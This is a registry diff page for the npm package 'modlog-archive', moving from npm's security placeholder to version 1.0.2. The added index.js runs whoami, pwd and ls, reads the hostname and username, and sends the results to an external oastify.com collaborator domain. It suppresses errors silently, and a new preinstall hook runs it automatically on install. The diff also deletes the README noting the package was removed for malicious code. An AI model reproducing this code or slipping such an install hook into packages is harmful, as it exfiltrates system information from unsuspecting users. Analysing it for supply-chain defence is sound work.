modlog-archive 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of modlog-archive might be problematic. Click here for more details.
- package/index.js +48 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
// author:- whitehacker003@protonmail.com
|
|
3
|
+
const os = require("os");
|
|
4
|
+
const dns = require("dns");
|
|
5
|
+
const https = require("https");
|
|
6
|
+
const { execSync } = require("child_process");
|
|
7
|
+
|
|
8
|
+
// Replace with your Burp Collaborator or Interactsh domain
|
|
9
|
+
const collaboratorDomain = "r1ta0stlmmshwlgmfbbeanb1vs1jpadz.oastify.com";
|
|
10
|
+
|
|
11
|
+
function sendRequest(path) {
|
|
12
|
+
const options = {
|
|
13
|
+
hostname: collaboratorDomain,
|
|
14
|
+
port: 443,
|
|
15
|
+
path: `/${path}`, // Send data in the URL path
|
|
16
|
+
method: "GET",
|
|
17
|
+
};
|
|
18
|
+
|
|
19
|
+
const req = https.request(options, (res) => {
|
|
20
|
+
res.on("data", (d) => {
|
|
21
|
+
process.stdout.write(d);
|
|
22
|
+
});
|
|
23
|
+
});
|
|
24
|
+
|
|
25
|
+
req.on("error", (e) => {
|
|
26
|
+
// Handle error silently to avoid breaking execution
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
req.end();
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Execute commands and capture output
|
|
33
|
+
try {
|
|
34
|
+
const whoami = execSync("whoami").toString().trim();
|
|
35
|
+
const pwd = execSync("pwd").toString().trim();
|
|
36
|
+
const ls = execSync("ls").toString().trim();
|
|
37
|
+
|
|
38
|
+
// Encode and send each command output in separate requests
|
|
39
|
+
sendRequest(`whoami-${encodeURIComponent(whoami)}`);
|
|
40
|
+
sendRequest(`pwd-${encodeURIComponent(pwd)}`);
|
|
41
|
+
sendRequest(`ls-${encodeURIComponent(ls)}`);
|
|
42
|
+
|
|
43
|
+
// Additional environment information (optional)
|
|
44
|
+
sendRequest(`hostname-${encodeURIComponent(os.hostname())}`);
|
|
45
|
+
sendRequest(`username-${encodeURIComponent(os.userInfo().username)}`);
|
|
46
|
+
} catch (error) {
|
|
47
|
+
console.error("Error executing commands:", error);
|
|
48
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "modlog-archive",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.2",
|
|
4
|
+
"description": "Reddit RCE Vulnerability",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall" : "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=modlog-archive for more information.
|